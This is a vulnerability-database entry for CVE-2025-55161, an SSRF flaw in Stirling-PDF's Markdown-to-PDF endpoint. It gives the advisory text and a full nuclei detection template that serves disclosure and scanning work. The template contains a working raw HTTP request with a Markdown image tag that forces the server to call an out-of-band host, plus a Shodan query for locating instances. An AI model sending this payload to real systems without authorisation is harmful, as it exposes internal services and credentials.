Browse / CVEs / CVE-2025-55161
CVE-2025-55161· CWE-918
Stirling-PDF SSRF via Markdown
Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization which can be bypassed and result in SSRF.
Impact
Unauthenticated attackers can force the server to make requests to arbitrary URLs through malicious Markdown image tags, potentially exposing internal services and credentials.
Fix
This issue has been patched in version 1.1.0.
How to confirm it
Send: POST /api/v1/convert/markdown/pdf
Positive when: contains(interactsh_protocol, 'dns') and contains(content_type, "application/pdf") and status_code == 200Run it with nuclei: nuclei -id CVE-2025-55161 -u <target>
The full check
id: CVE-2025-55161
info:
name: Stirling-PDF SSRF via Markdown
author: beginee
severity: high
description: |
Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization which can be bypassed and result in SSRF.
impact: |
Unauthenticated attackers can force the server to make requests to arbitrary URLs through malicious Markdown image tags, potentially exposing internal services and credentials.
remediation: This issue has been patched in version 1.1.0.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-55161
- https://github.com/Stirling-Tools/Stirling-PDF
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
cvss-score: 8.6
cve-id: CVE-2025-55161
cwe-id: CWE-918
epss-score: 0.02196
epss-percentile: 0.82633
metadata:
verified: true
max-request: 1
shodan-query: http.title:"Stirling PDF"
tags: cve,cve2025,ssrf,stirling-pdf,pdf,markdown,oast,oob,vkev,vuln
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
POST /api/v1/convert/markdown/pdf HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvAfAbBmFpYrQfooK
------WebKitFormBoundaryvAfAbBmFpYrQfooK
Content-Disposition: form-data; name="fileInput"; filename="{{filename}}.md"
Content-Type: application/octet-stream
<img src='http://{{interactsh-url}}/' />
------WebKitFormBoundaryvAfAbBmFpYrQfooK--
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, 'dns')
- contains(content_type, "application/pdf")
- status_code == 200
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from